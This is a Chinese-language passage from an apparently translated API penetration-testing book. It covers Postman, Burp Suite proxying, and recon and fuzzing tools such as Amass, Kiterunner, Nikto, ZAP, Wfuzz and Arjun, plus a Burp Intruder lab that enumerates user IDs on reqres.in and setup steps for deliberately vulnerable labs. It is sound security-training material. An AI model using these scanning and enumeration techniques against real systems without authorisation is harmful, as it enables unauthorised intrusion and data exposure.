| 请求头 | 这是所有 HTTP 响应头所在的位置。 |
| 测试结果 | 如果你为请求创建了任何测试,可以在这里查看这些测试的结果。 |
环境
环境提供了一种在多个 API 之间存储和使用相同变量的方法。环境变量是一个值,它将在环境中替代一个变量。例如,假设你正在攻击一个生产环境的 API,但发现了一个生产环境的测试版本;你可能会希望使用环境来在两个 API 的请求之间共享值。毕竟,生产 API 和测试 API 可能共享诸如 API 令牌、URL 路径和资源 ID 等值。
要创建环境变量,找到请求构建器右上角的环境(默认显示为“无环境”的下拉菜单),然后按 ctrl-N 打开创建新面板并选择环境,如图 4-18 所示。

图 4-18:Postman 中的创建新面板
你可以为环境变量设置初始值和当前值(参见图 4-19)。初始值会在你与团队共享 Postman 环境时共享,而当前值则不会共享,仅保存在本地。例如,如果你有一个私钥,你可以将私钥存储为当前值。这样,你就能在需要粘贴私钥的地方使用该变量。

图 4-19:Postman 中的管理环境窗口,展示了变量 admin_creds,其当前值为 This_``i``s_hidd3n
集合
集合是可以导入到 Postman 中的一组 API 请求。如果 API 提供者提供了集合,你就不必手动输入每个请求。相反,你只需要导入它的集合。理解这个功能的最佳方式是从 www.postman.com/explore/collections 下载一个公共 API 集合到你的 Postman。在本节的示例中,我将引用《帝国时代 II》集合。
导入按钮允许你导入集合、环境和 API 规范。目前,Postman 支持 OpenAPI 3.0、RAML 0.8、RAML 1.0、GraphQL、cURL、WADL、Swagger 1.2、Swagger 2.0、Runscope 和 DHC。如果你能导入目标 API 规范,你的测试工作将变得更轻松。这样做可以节省你手动编写所有 API 请求的时间。
集合、环境和规范都可以作为文件、文件夹、链接或原始文本导入,或者通过连接你的 GitHub 账户进行导入。例如,你可以从 https://age-of-empires-2-api.herokuapp.com/apispec.json 导入经典 PC 游戏 帝国时代 II 的 API,如下所示:
-
点击位于 Postman 左上角的导入按钮。
-
选择链接标签(见图 4-20)。
-
粘贴 API 规范的 URL 并点击继续。
-
在“确认导入”页面,点击导入。

图 4-20:在 Postman 中使用导入面板中的链接标签导入 API 规范
完成此步骤后,你应该已将帝国时代 II 集合保存到 Postman 中。现在进行测试。选择图 4-21 中显示的集合中的一个请求并点击发送。

图 4-21:导入的帝国时代 II API GET 请求的集合侧边栏
为了使请求正常工作,你可能需要先检查集合的变量,以确保它们设置为正确的值。要查看集合的变量,你需要通过点击查看更多操作按钮(由三个圆圈表示,如图 4-22 所示)进入“编辑集合”窗口。

图 4-22:在 Postman 中编辑集合
一旦进入“编辑集合”窗口,选择变量,如图 4-23 所示。

图 4-23:帝国时代 II API 集合变量
例如,帝国时代 II API 集合使用变量{{baseUrl}}。当前{{baseUrl}}的问题是没有值。我们需要将此变量更新为公共 API 的完整 URL,https://age-of-empires-2-api.herokuapp.com/api/v1。添加完整的 URL 并点击保存来更新你的更改(见图 4-24)。

图 4-24:更新后的baseURL变量
现在变量已更新,你可以选择其中一个请求并点击发送。如果成功,你应该会收到类似于图 4-25 所示的响应。

图 4-25:在 Postman 中成功使用帝国时代 II API 集合
每当你导入一个集合并遇到错误时,可以使用此过程来排查集合的变量问题。也请确保检查是否遗漏了任何授权要求。
集合运行器
集合运行器允许你运行集合中所有保存的请求(见图 4-26)。你可以选择你想运行的集合、与之配对的环境、你希望运行集合的次数,以及如果有速率限制要求时的延迟。

图 4-26:Postman 集合运行器
请求还可以按特定顺序排列。一旦集合运行器执行完毕,你可以查看运行摘要,了解每个请求是如何处理的。例如,如果我打开集合运行器,选择 Twitter API v2 并运行集合运行器,我可以看到该集合中所有 API 请求的概览。
代码片段
除了面板外,你还应注意代码片段功能。在请求面板的右上角,你会看到一个代码按钮。这个按钮可以用来将已构建的请求转换为多种不同的格式,包括 cURL、Go、HTTP、JavaScript、NodeJS、PHP 和 Python。当我们使用 Postman 构建请求后,如果需要切换到其他工具,这个功能非常有用。你可以在 Postman 中构建复杂的 API 请求,生成一个 cURL 请求,然后将其与其他命令行工具一起使用。
测试面板
测试面板允许你创建将在响应中运行的脚本。如果你不是程序员,你会欣赏 Postman 在测试面板右侧提供了预构建的代码片段。你可以通过找到一个预构建的代码片段、点击它,并调整测试以适应你的测试需求,轻松构建一个测试。我建议查看以下代码片段:
-
状态码:代码为 200 -
响应时间小于 200 毫秒 -
响应体:包含字符串
这些 JavaScript 代码片段相当直接。例如,状态码:代码为 200 的测试如下:
pm.test("Status code is 200", function () {
pm.response.to.have.status(200);
});
你可以看到,将在测试结果中显示的测试名称是“状态码为 200”。该功能正在检查以确保 Postman 响应的状态是 200。我们可以轻松调整 JavaScript 代码,通过简单地将 (200) 更新为我们所需的状态码,并更改测试名称以适应。例如,如果我们想检查状态码 400,可以按如下方式修改代码:
pm.test("Status code is 400", function () {
pm.response.to.have.status(400);
});
就这么简单!你真的不需要是程序员就能理解这些 JavaScript 代码片段。
图 4-27 显示了一系列与 AOE2 公共 API 请求一起包含的测试。这些测试包括检查 200 状态码、小于 200 毫秒的延迟,以及响应字符串中包含“波斯人”。

图 4-27:AOE2 公共 API 测试
配置好测试后,你可以查看响应的测试结果标签,了解测试是成功还是失败。创建测试的一个好习惯是确保测试会失败。测试只有在通过和失败时按预期发生时才有效。因此,发送一个请求,创建你预期通过或失败的条件,以确保测试功能正常。关于创建测试脚本的更多信息,请查阅 Postman 文档(learning.postman.com/docs/writing-scripts/test-scripts)。
现在,你可以在 Postman 中探索许多其他选项。像 Burp Suite 一样,Postman 有一个学习中心(learning.postman.com),为那些想要深入了解该软件的用户提供在线资源。或者,如果你想查阅 Postman 文档,可以访问learning.postman.com/docs/getting-started/introduction。
配置 Postman 以与 Burp Suite 配合使用
Postman 用于与 API 交互,而 Burp Suite 是一个强大的网页应用测试工具。如果你将这两个应用结合使用,你可以在 Postman 中配置并测试 API,然后通过代理将流量传送到 Burp Suite 进行目录暴力破解、篡改参数以及进行模糊测试。
如同设置 FoxyProxy 时,你需要配置 Postman 代理,通过以下步骤将流量发送到 Burp Suite(见图 4-28):
-
按下 ctrl-,(逗号)或导航到文件▶设置以打开 Postman 设置。
-
点击代理选项卡。
-
勾选添加自定义代理配置的复选框。
-
确保将代理服务器设置为127.0.0.1。
-
将代理服务器端口设置为8080。
-
选择常规选项卡并关闭 SSL 证书验证关闭。
-
在 Burp Suite 中,选择代理选项卡。
-
点击按钮以启用拦截开启。

图 4-28:Postman 的代理设置已配置为与 Burp Suite 交互
尝试使用 Postman 发送请求;如果请求被 Burp Suite 拦截,则说明你已正确配置一切。现在你可以保持代理开启,并在需要捕获请求和响应时切换 Burp Suite 的“开启拦截”功能。
补充工具
本节旨在提供额外的选项,并帮助那些受到 Burp Suite CE 功能限制的用户。以下工具在其领域表现优秀,且是开源免费的。特别是这里介绍的 API 扫描工具在你积极测试目标时发挥了多重作用。像 Nikto 和 OWASP ZAP 这样的工具可以帮助你主动发现 API 端点、安全配置错误和有趣的路径,并提供一些 API 的表面测试。换句话说,当你开始积极与目标互动时,这些工具非常有用,而像 Wfuzz 和 Arjun 这样的工具则在你发现 API 并希望集中测试时更为有用。使用这些工具积极测试 API,发现独特的路径、参数、文件和功能。每个工具都有自己独特的关注点和目的,能够补充免费版 Burp Suite Community Edition 中缺失的功能。
使用 OWASP Amass 进行侦察
OWASP Amass 是一个开源信息收集工具,可用于被动和主动侦察。这个工具是 OWASP Amass 项目的一部分,由 Jeff Foley 领导。我们将使用 Amass 来发现目标组织的攻击面。只需目标的域名,你就可以使用 Amass 扫描许多互联网资源,查找与目标相关的域名和子域名,获取潜在的目标 URL 和 API 列表。
如果未安装 OWASP Amass,请使用以下命令:
$ **sudo** **apt-get install amass**
Amass 在没有太多设置的情况下也非常有效。然而,通过设置来自各种源的 API 密钥,你可以将它打造成一个信息收集的强大工具。我建议至少注册 GitHub、Twitter 和 Censys 的帐户。设置好这些帐户后,你可以为这些服务生成 API 密钥,并通过将其添加到 Amass 的配置文件 config.ini 中,插入到 Amass 中。Amass 的 GitHub 仓库有一个 config.ini 文件模板,你可以在 github.com/OWASP/Amass/blob/master/examples/config.ini 找到。
在 Kali 上,Amass 将尝试在以下位置自动查找 config.ini 文件:
$ **HOME/.config/amass/config.ini**
要下载示例 config.ini 文件的内容并将其保存到默认的 Amass 配置文件位置,请从终端运行以下命令:
$ **mkdir $HOME/.config/amass**
$ **curl https://raw.githubusercontent.com/OWASP/Amass/master/examples/config.ini >$HOME/.config/amass/config.ini**
下载该文件后,你可以编辑它并添加你想要包含的 API 密钥。它应该类似于以下内容:
# https://umbrella.cisco.com (Paid-Enterprise)
# The apikey must be an API access token created through the Investigate management UI
#[data_sources.Umbrella]
#apikey =
#https://urlscan.io (Free)
#URLScan can be used without an API key
#apikey =
# https://virustotal.com (Free)
#[data_sources.URLScan]
#apikey =
如你所见,你可以删除注释(#),然后简单地粘贴你想使用的服务的 API 密钥。config.ini 文件中甚至指明了哪些密钥是免费的。你可以在 github.com/OWASP/Amass 查找到可以用来增强 Amass 的 API 源列表。虽然这可能需要一些时间,但我建议至少利用所有在 APIs 下列出的免费源。
使用 Kiterunner 发现 API 端点
Kiterunner (github.com/assetnote/kiterunner) 是一款专门为发现 API 资源而设计的内容发现工具。Kiterunner 是用 Go 编写的,虽然它能够以每秒 30,000 个请求的速度进行扫描,但它会考虑到负载均衡器和 Web 应用防火墙可能会执行速率限制的因素。
在处理 API 时,Kiterunner 的搜索技术优于其他内容发现工具,如 dirbuster、dirb、Gobuster 和 dirsearch,因为该工具是针对 API 进行优化的。它的字典文件、请求方法、参数、头部和路径结构都专注于发现 API 端点和资源。值得注意的是,该工具包含了来自 67,500 个 Swagger 文件的数据。Kiterunner 还被设计用来检测不同 API 的特征,包括 Django、Express、FastAPI、Flask、Nginx、Spring 和 Tomcat(仅举几个例子)。
该工具最有用的功能之一是请求重放功能,我们将在第六章中利用它。如果 Kiterunner 在扫描时检测到端点,它会在命令行中显示此结果。你可以进一步探索触发该结果的确切请求,从而深入分析。
要安装 Kiterunner,请运行以下命令:
$ **git clone https://github.com/assetnote/kiterunner.git**
$ **cd kiterunner**
$ **make build**
$ **sudo ln -s $(pwd)/dist/kr /usr/local/bin/kr**
然后,你应该能够通过在命令行输入以下命令来使用 Kiterunner:
$ **kr**
kite is a context based webscanner that uses common api paths for content discovery of an applications api paths.
Usage:
kite [command]
Available Commands:
brute brute one or multiple hosts with a provided wordlist
help help about any command
kb manipulate the kitebuilder schema
scan scan one or multiple hosts with a provided wordlist
version version of the binary you're running
wordlist look at your cached wordlists and remote wordlists
Flags:
--config string config file (default is $HOME/.kiterunner.yaml)
-h, --help help for kite
-o, --output string output format. can be json,text,pretty (default "pretty")
-q, --quiet quiet mode. will mute unnecessary pretty text
-v, --verbose string level of logging verbosity. can be error,info,debug,trace (default "info")
Use "kite [command] --help" for more information about a command.
你可以为 Kiterunner 提供各种字典文件,然后它会将这些字典作为有效载荷用于一系列请求。这些请求将帮助你发现有趣的 API 端点。Kiterunner 允许你使用 Swagger JSON 文件、Assetnote 的 .kites 文件和 .txt 字典。目前,Assetnote 每月发布包含从其全球网络扫描中收集的搜索词的字典文件。所有字典文件都托管在 wordlists.assetnote.io 上。你可以按照如下方式创建一个 API 字典目录:
$ **mkdir -p ~/api/wordlists**
然后,你可以选择你需要的字典文件并将它们下载到 /api/wordlists 目录中:
$ **curl https://wordlists-cdn.assetnote.io/data/automated/httparchive_apiroutes_2021_06_28.txt > latest_api_wordlist.txt**
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 6651k 100 6651k 0 0 16.1M 0 --:--:-- --:--:-- --:--:-- 16.1M
你可以用任何适合你的字典文件替换 httparchive_apiroutes_2021_06_028.txt。或者,直接一次性下载所有的 Assetnote 字典文件:
$ **wget -r --no-parent -R "index.html*" https://wordlists-cdn.assetnote.io/data/ -nH**
请注意,下载所有 Assetnote 字典文件需要大约 2.2GB 的空间,但保存它们绝对是值得的。
使用 Nikto 扫描漏洞
Nikto 是一款命令行 Web 应用漏洞扫描工具,对于信息收集非常有效。我通常在发现 Web 应用存在后立即使用 Nikto,因为它能指引我关注应用程序的有趣部分。Nikto 会提供关于目标 Web 服务器、安全配置错误和其他 Web 应用漏洞的信息。由于 Nikto 已包含在 Kali 中,因此应该不需要任何特殊设置。
要扫描一个域名,可以使用以下命令:
$ **nikto -h https://example.com**
要查看 Nikto 的额外选项,请在命令行中输入 nikto -Help。你可能会发现一些有用的选项,包括 -output filename 用于将 Nikto 结果保存到指定文件,以及 -maxtime #ofseconds 用于限制 Nikto 扫描的持续时间。
Nikto 扫描的结果将包括应用程序允许的 HTTP 方法、有趣的头部信息、潜在的 API 端点和其他可能值得检查的目录。有关 Nikto 的更多信息,请查阅文档 https://cirt.net/nikto2-docs。
使用 OWASP ZAP 扫描漏洞
OWASP 开发了 ZAP,这是一个开源的 Web 应用程序扫描工具,它是另一个重要的 Web 应用程序安全测试工具。OWASP ZAP 应该已经包含在 Kali 中,但如果没有,你可以从 GitHub 克隆它,地址是 github.com/zaproxy/zaproxy。
ZAP 有两个组件:自动扫描和手动探索。ZAP 的自动扫描会执行 Web 抓取、检测漏洞,并通过更改请求参数来测试 Web 应用程序响应。自动扫描非常适合检测 Web 应用程序的表面目录,包括发现 API 端点。要运行它,输入目标 URL 到 ZAP 界面并点击按钮开始攻击。一旦扫描完成,你将收到一个按发现严重性分类的警报列表。ZAP 自动扫描的问题在于,它可能充满了误报,因此检查和验证警报非常重要。该测试也仅限于 Web 应用程序的表面。除非有无意暴露的目录,否则 ZAP 无法突破身份验证要求深入扫描。这时,ZAP 的手动探索选项就派上了用场。
ZAP 的手动探索功能对于深入探索 Web 应用程序非常有用。它也被称为 ZAP Heads Up Display(ZAP HUD),手动探索将你的 Web 浏览器流量通过 ZAP 代理,当你浏览时,ZAP 会显示警报和功能覆盖在网页上。启动时,输入要探索的 URL 并打开你选择的浏览器。当浏览器启动时,看起来就像你正常地浏览该站点;然而,ZAP 的警报和功能会叠加在网页上。这使你能够更好地控制何时开始抓取、何时运行主动扫描,以及何时开启“攻击模式”。例如,你可以在 ZAP 扫描器运行时完成用户账户创建过程和身份验证/授权过程,以自动检测这些过程中的漏洞。你检测到的任何漏洞都会像游戏成就一样弹出。我们将使用 ZAP HUD 来发现 API。
使用 Wfuzz 进行模糊测试
Wfuzz 是一个基于 Python 的开源 Web 应用程序模糊测试框架。Wfuzz 应该已经包含在最新版本的 Kali 中,但你也可以从 GitHub 上安装它,地址是 github.com/xmendez/wfuzz。
您可以使用 Wfuzz 在 HTTP 请求中注入负载,通过将 FUZZ 替换为字典中的单词;然后 Wfuzz 会迅速发出许多请求(每分钟约 900 次)并使用指定的负载。由于模糊测试的成功很大程度上依赖于使用优质的字典,我们将在第六章花费相当多的时间讨论字典的使用。
这是 Wfuzz 的基本请求格式:
`$` **wfuzz** `options` **-z** `payload,params url`
运行 Wfuzz,使用以下命令:
$ **wfuzz -z file,/usr/share/wordlists/list.txt http://targetname.com/FUZZ**
此命令将 URL http://targetname.com/FUZZ 中的 FUZZ 替换为来自 /usr/share/wordlists/list.txt 中的单词。-z 选项指定了一个负载类型,后跟实际的负载。在这个例子中,我们指定了负载是一个文件,然后提供了字典文件的路径。我们还可以使用 -z 搭配 list 或 range。使用 list 选项意味着我们将在请求中指定负载,而 range 则表示一个数字范围。例如,您可以使用 list 选项来测试端点是否支持一组 HTTP 动词:
$ **wfuzz -X POST -z list,admin-dashboard-docs-api-test http://targetname.com/FUZZ**
-X 选项指定 HTTP 请求方法。在前面的示例中,Wfuzz 将执行一个 POST 请求,将字典用作路径,替代 FUZZ 占位符。
您可以使用 range 选项轻松扫描一系列数字:
$ **wfuzz -z range,500-1000 http://targetname.com/account?user_id=FUZZ**
这将自动模糊测试从 500 到 1000 的所有数字。当我们测试 BOLA 漏洞时,这非常有用。
要指定多个攻击位置,您可以列出多个 -z 标志,然后为相应的 FUZZ 占位符编号,例如 FUZZ、FUZ1、FUZ2、FUZ3 等,如下所示:
$ wfuzz -z list,A-B-C -z range,1-3 http://targetname.com/**FUZZ**/user_id=**FUZZ2**
对目标运行 Wfuzz 可能会生成大量结果,这可能使得难以发现任何有趣的内容。因此,您应该熟悉 Wfuzz 的过滤选项。以下过滤器仅显示特定的结果:
-
--sc仅显示具有特定 HTTP 响应代码的响应 -
--sl仅显示具有指定行数的响应 -
--sw仅显示包含指定数量单词的响应 -
--sh仅显示具有指定字符数的响应
在以下示例中,Wfuzz 将扫描目标并仅显示包含 200 状态码的结果:
$ **wfuzz -z file,/usr/share/wordlists/list.txt –sc 200 http://targetname.com/FUZZ**
以下过滤器隐藏某些结果:
-
--hc隐藏具有特定 HTTP 状态代码的响应 -
--hl隐藏具有指定行数的响应 -
--hw隐藏具有指定单词数的响应 -
--hh隐藏具有指定字符数的响应
在以下示例中,Wfuzz 将扫描目标并隐藏所有状态码为 404 的结果,同时隐藏具有 950 个字符的结果:
$ **wfuzz -z file,/usr/share/wordlists/list.txt –sc 404 –sh 950 http://targetname.com/FUZZ**
Wfuzz 是一个功能强大的多用途模糊测试工具,您可以使用它彻底测试端点并找出其弱点。欲了解更多关于 Wfuzz 的信息,请查看 wfuzz.readthedocs.io/en/latest 上的文档。
使用 Arjun 发现 HTTP 参数
Arjun 是另一个基于 Python 的开源 API 模糊测试工具,专门用于发现 Web 应用程序参数。我们将使用 Arjun 来发现基本的 API 功能、查找隐藏参数以及测试 API 端点。你可以将其作为黑盒测试中 API 端点的首选扫描工具,或者用它轻松查看 API 的文档参数是否与扫描结果相符。
Arjun 配备了一个包含近 26,000 个参数的词汇表,且与 Wfuzz 不同,它使用预配置的异常检测为你进行部分过滤。要设置 Arjun,首先从 GitHub 克隆它(你需要一个 GitHub 账户):
$ **cd /opt/**
$ **sudo git clone https://github.com/s0md3v/Arjun.git**
Arjun 的工作原理是,首先向目标 API 端点发送标准请求。如果目标返回 HTML 表单,Arjun 会将表单名称添加到参数列表中。然后,Arjun 会发送一个包含预期返回不存在资源的参数请求。这样做是为了记录失败的参数请求的行为。接着,Arjun 会启动 25 个请求,其中包含近 26,000 个参数的有效负载,比较 API 端点的响应,并开始对异常进行进一步扫描。
要运行 Arjun,请使用以下命令:
$ **python3 /opt/Arjun/arjun.py -u http://target_address.com**
如果你希望输出结果以某种特定格式呈现,可以使用-o选项并指定所需的文件类型:
$ **python3 /opt/Arjun/arjun.py -u http://target_address.com -o arjun_results.json**
如果你遇到有速率限制的目标,Arjun 可能会触发速率限制并导致安全控制机制阻止你。Arjun 甚至在目标不配合时会给出内建的建议。Arjun 可能会弹出错误信息,如“目标无法处理请求,请尝试 --stable 开关。”如果发生这种情况,只需添加--stable标志。以下是一个示例:
$ **python3 /opt/Arjun/arjun.py -u http://target_address.com -o arjun_results.json --stable**
最后,Arjun 可以同时扫描多个目标。使用-i标志来指定目标 URL 列表。如果你使用 Burp Suite 代理流量,你可以选择站点地图中的所有 URL,使用“复制选定的 URL”选项,将该列表粘贴到文本文件中。然后像这样同时对所有 Burp Suite 目标运行 Arjun:
$ **python3 /opt/Arjun/arjun.py -i burp_targets.txt**
摘要
在本章中,你将设置本书中用于破解 API 的各种工具。此外,我们还花了一些时间深入探讨了功能丰富的应用程序,如 DevTools、Burp Suite 和 Postman。熟悉这些 API 破解工具将帮助你知道何时使用哪个工具,以及何时需要调整策略。
实验 #1:枚举 REST API 中的用户账户
欢迎来到你的第一个实验。
在本实验中,我们的目标很简单:使用本章中讨论的工具,找出 reqres.in 这个 REST API 中的用户账户总数。你本可以通过猜测账户总数并检查这个数字来轻松得出答案,但我们将通过 Postman 和 Burp Suite 的强大功能,更快速地找到答案。当测试实际目标时,你可以使用这个过程来发现是否存在基本的 BOLA 漏洞。
首先,访问reqres.in查看是否可以获得 API 文档。在登录页面,我们找到了相当于 API 文档的内容,并可以看到一个示例请求,示例中包含向/api/users/2端点发出请求(见图 4-29)。

图 4-29:reqres.in上找到的 API 文档,包含请求user id:2的说明
你会注意到一个“列出用户”(List Users)端点;我们将在实验中忽略它,因为它不会帮助你学习预期的概念。相反,我们将使用“单个用户”(Single User)端点,因为它将帮助你培养发现漏洞的技能,如 BOLA 和 BFLA。对于单个用户的推荐 API 请求是通过向/api/users/发送 GET 请求来向消费者提供所请求用户的账户信息。我们可以很容易地假设用户账户按其id号码在user目录中进行组织。
让我们通过尝试向不同 ID 号码的用户发送请求来验证这个理论。由于我们将与 API 交互,让我们使用 Postman 设置 API 请求。将方法设置为 GET,并添加 URL http://reqres.in/api/users/1。点击发送,确保你收到响应。如果你请求的是 ID 为 1 的用户,响应应该显示 George Bluth 的用户信息,如图 4-30 所示。

图 4-30:使用 Postman 发出的标准 API 请求,从reqres.in数据库中检索用户 1
为了通过此方法高效地检索所有用户的数据,我们将使用 Burp 的 Intruder。将来自reqres.in端点的流量通过代理发送到 Burp Suite,并在 Postman 中提交相同的请求。然后切换到 Burp Suite,在 Burp Suite 的代理标签页中,你应该能看到拦截到的流量(见图 4-31)。

图 4-31:使用 Postman 发出的拦截请求,用于检索用户 1
使用快捷键 Ctrl-I 或右键点击拦截的请求,选择发送到 Intruder。选择Intruder▶Positions标签页以选择负载位置。首先,选择清除§以移除自动负载定位。然后选择 URL 末尾的数字,点击标记为添加§的按钮(见图 4-32)。

图 4-32:Burp Suite 的 Intruder 配置,攻击位置设置在路径的UserID部分
一旦选择了攻击位置,点击Payloads选项卡(见图 4-33)。由于我们的目标是找出存在多少个用户账户,我们希望用一系列数字替换用户 ID。将载荷类型更改为数字。更新数字范围,测试从 0 到 25,每次递增 1。步长选项告诉 Burp 每次载荷增加多少数字。选择 1 意味着我们让 Burp 自动生成所有的载荷。这将帮助我们发现 ID 在 0 到 25 之间的所有用户。通过这些设置,Burp 将发送总共 26 个请求,每个请求包含一个从 0 到 25 的数字。

图 4-33:Intruder 的 Payloads 选项卡,载荷类型设置为数字
最后,点击开始攻击将 26 个请求发送到reqres.in。分析结果应该能清楚地显示所有的活跃用户。API 提供者对于用户账户 1 到 12 的请求返回状态 200,而对随后的请求返回 404 状态。根据这些结果,我们可以得出结论,这个 API 总共有 12 个有效用户账户。
当然,这只是练习。你在未来的 API 攻击中替换的值可能是用户 ID 号码,但它们也可以是银行账户号码、电话号码、公司名称或电子邮件地址。本实验室已经帮助你了解了基本的 BOLA 漏洞;我们将在第十章进一步扩展这些知识。
作为进一步的练习,尝试使用 Wfuzz 执行相同的扫描。
第六章:设置易受攻击的 API 目标

在本章中,你将构建自己的 API 目标实验室,在随后的章节中进行攻击。通过针对你控制的系统,你可以安全地练习你的技术,并从进攻和防御的角度看到它们的影响。你还可以犯错,并尝试一些你可能在真实攻击中尚不熟悉的漏洞利用技术。
你将在本书的实验室部分针对这些机器进行攻击,了解工具的工作原理,发现 API 弱点,学习模糊测试输入,并利用所有的发现。实验室中的漏洞将远远超出本书的覆盖范围,因此我鼓励你去发现它们,并通过实验发展新的技能。
本章将引导你设置 Linux 主机中的先决条件,安装 Docker,下载并启动我们将用作目标的三个易受攻击的系统,并找到用于 API 黑客目标的其他资源。
创建一个 Linux 主机
你需要一个主机系统来运行易受攻击的应用程序。为了简化操作,我建议将易受攻击的应用程序保存在不同的主机系统上。当它们托管在一起时,可能会出现应用程序使用的资源冲突,并且对一个易受攻击的 Web 应用的攻击可能会影响到其他应用。将每个易受攻击的应用程序放在独立的主机系统上会更为简便。
我推荐使用一个最近的 Ubuntu 镜像,它可以托管在虚拟化平台(如 VMware、Hyper-V 或 VirtualBox)上,或者托管在云端(如 AWS、Azure 或 Google Cloud)。设置主机系统并将它们联网的基础知识超出了本书的范围,并且在其他地方有广泛的覆盖。你可以找到许多优秀的免费指南,帮助你设置家庭或云端的黑客实验室。以下是我推荐的一些:
-
Cybrary,“教程:如何在家搭建虚拟渗透测试实验室”,
www.cybrary.it/blog/0p3n/tutorial-for-setting-up-a-virtual-penetration-testing-lab-at-your-home -
Black Hills Information Security,“网络广播:如何搭建家庭实验室”,
www.blackhillsinfosec.com/webcast-how-to-build-a-home-lab -
Null Byte,“如何创建一个虚拟黑客实验室”,
null-byte.wonderhowto.com/how-to/hack-like-pro-create-virtual-hacking-lab-0157333 -
Hacking Articles,“在 AWS 上设置 Web 应用渗透测试实验室”,
www.hackingarticles.in/web-application-pentest-lab-setup-on-aws
使用这些指南来设置你的 Ubuntu 机器。
安装 Docker 和 Docker Compose
一旦你配置好了主机操作系统,就可以使用 Docker 将漏洞应用托管在容器中。Docker 和 Docker Compose 使得下载这些漏洞应用并在几分钟内启动它们变得异常简单。
按照官方指南 docs.docker.com/engine/install/ubuntu 在你的 Linux 主机上安装 Docker。你可以通过运行 hello-world 镜像来确认 Docker Engine 是否正确安装:
$ **sudo docker run hello-world**
如果你能成功运行 hello-world 容器,说明你已经成功设置了 Docker,恭喜!否则,你可以按照官方 Docker 指南进行故障排查。
Docker Compose 是一个工具,可以让你通过一个 YAML 文件运行多个容器。根据你的实验室设置,Docker Compose 允许你通过简单的命令 docker-compose up 启动你的漏洞系统。关于安装 Docker Compose 的官方文档可以在 docs.docker.com/compose/install 查阅。
安装漏洞应用
我选择了以下这些漏洞应用程序在实验室中运行:OWASP crAPI、OWASP Juice Shop、OWASP DevSlop 的 Pixi 和 Damn Vulnerable GraphQL。这些应用将帮助你培养基本的 API 黑客技能,例如发现 API、模糊测试、配置参数、测试认证、发现 OWASP API 安全 Top 10 漏洞,并攻击发现的漏洞。本节将介绍如何设置这些应用。
完全荒谬的 API (crAPI)
完全荒谬的 API,如 图 5-1 所示,是由 OWASP API 安全项目开发并发布的漏洞 API。如本书致谢部分所述,该项目由 Inon Shkedy、Erez Yalon 和 Paulo Silva 主导。crAPI 漏洞 API 的设计旨在展示最关键的 API 漏洞。我们将在大部分实验中专注于黑客攻击 crAPI。

图 5-1:crAPI 商店
通过在 Ubuntu 终端中运行以下命令,下载并部署 crAPI (github.com/OWASP/crAPI):
$ curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml
$ sudo docker-compose pull
$ sudo docker-compose -f docker-compose.yml --compatibility up -d
crAPI 应用包含一个现代化的 web 应用,一个 API 和一个 Mail Hog 邮件服务器。在这个应用中,你可以购买汽车配件、使用社区聊天功能,并将车辆与当地修理店进行关联。crAPI 应用使用了 OWASP API 安全 Top 10 漏洞的真实实现,你将从中学到很多东西。
OWASP DevSlop 的 Pixi
Pixi 是一个基于 MongoDB、Express.js、Angular、Node (MEAN) 技术栈的 Web 应用程序,设计时故意采用了易受攻击的 API(参见 图 5-2)。它是在 OWASP DevSlop 项目中创建的,这是一个展示与 DevOps 相关错误的 OWASP 孵化项目,由 Nicole Becher、Nancy Gariché、Mordecai Kraushar 和 Tanya Janca 开发。

图 5-2:Pixi 登录页面
你可以将 Pixi 应用程序看作是一个具有虚拟支付系统的社交媒体平台。作为攻击者,你会发现 Pixi 的用户信息、管理功能和支付系统特别有趣。
Pixi 的另一个优点是它非常容易启动和运行。运行以下命令:
$ **git clone https://github.com/DevSlop/Pixi.git**
$ **cd Pixi**
$ **sudo docker-compose up**
然后使用浏览器访问 http://localhost:8000 查看登录页面。如果之前按照本章的描述设置了 Docker 和 Docker Compose,那么启动 Pixi 应该就这么简单。
OWASP Juice Shop
OWASP Juice Shop,如 图 5-3 所示,是一个由 Björn Kimminich 创建的 OWASP 旗舰项目。它的设计包含了 OWASP Top 10 和 OWASP API 安全 Top 10 中的漏洞。Juice Shop 的一个很棒的特点是它会跟踪你的黑客进展,并包含一个隐藏的得分板。Juice Shop 是使用 Node.js、Express 和 Angular 构建的,它是一个由 REST API 驱动的 JavaScript 应用程序。

图 5-3:OWASP Juice Shop
在我们将安装的所有应用程序中,Juice Shop 是目前得到最多支持的,拥有超过 70 名贡献者。要下载并启动 Juice Shop,请运行以下命令:
$ **docker pull bkimminich/juice-shop**
$ **docker run --rm -p 80:3000 bkimminich/juice-shop**
Juice Shop 和 Damn Vulnerable GraphQL Application (DVGA) 默认都运行在 3000 端口。为了避免冲突,-p 80:3000 参数会将 Juice Shop 配置为通过 80 端口运行。
要访问 Juice Shop,浏览至 http://localhost。(在 macOS 和 Windows 上,如果你使用的是 Docker Machine 而非本地 Docker 安装,则浏览至 http://192.168.99.100。)
Damn Vulnerable GraphQL Application
DVGA 是一个故意设计为易受攻击的 GraphQL 应用程序,由 Dolev Farhi 和 Connor McKinnon 开发。我将 DVGA 纳入本实验室,因为 GraphQL 在 Facebook、Netflix、AWS 和 IBM 等组织中的普及和应用日益增加。此外,你可能会对 GraphQL 集成开发环境(IDE)被公开供所有人使用的频繁程度感到惊讶。GraphiQL 是你会遇到的较为流行的 GraphQL IDE 之一。了解如何利用 GraphiQL IDE 将帮助你与其他 GraphQL API 进行交互,无论它们是否有友好的用户界面(参见 图 5-4)。

图 5-4:托管在 5000 端口上的 GraphiQL IDE 网页
要下载并启动 DVGA,请从 Ubuntu 主机终端运行以下命令:
$ **sudo docker pull dolevf/dvga**
$ **sudo docker run -t -p 5000:5000 -e WEB_HOST=0.0.0.0 dolevf/dvga**
要访问它,请使用浏览器并访问 http://localhost:5000。
添加其他漏洞应用
如果你对额外的挑战感兴趣,可以将其他机器添加到你的 API 黑客实验室中。GitHub 是一个很好的来源,提供了故意存在漏洞的 API 来增强你的实验室。表 5-1 列出了几个可以轻松从 GitHub 克隆的带有漏洞的系统。
表 5-1:其他带有漏洞 API 的系统
| 名称 | 贡献者 | GitHub 链接 |
|---|---|---|
| VAmPI | Erev0s | github.com/erev0s/VAmPI |
| DVWS-node | Snoopysecurity | github.com/snoopysecurity/dvws-node |
| DamnVulnerable MicroServices | ne0z | github.com/ne0z/DamnVulnerableMicroServices |
| Node-API-goat | Layro01 | github.com/layro01/node-api-goat |
| 漏洞 GraphQL API | AidanNoll | github.com/CarveSystems/vulnerable-graphql-api |
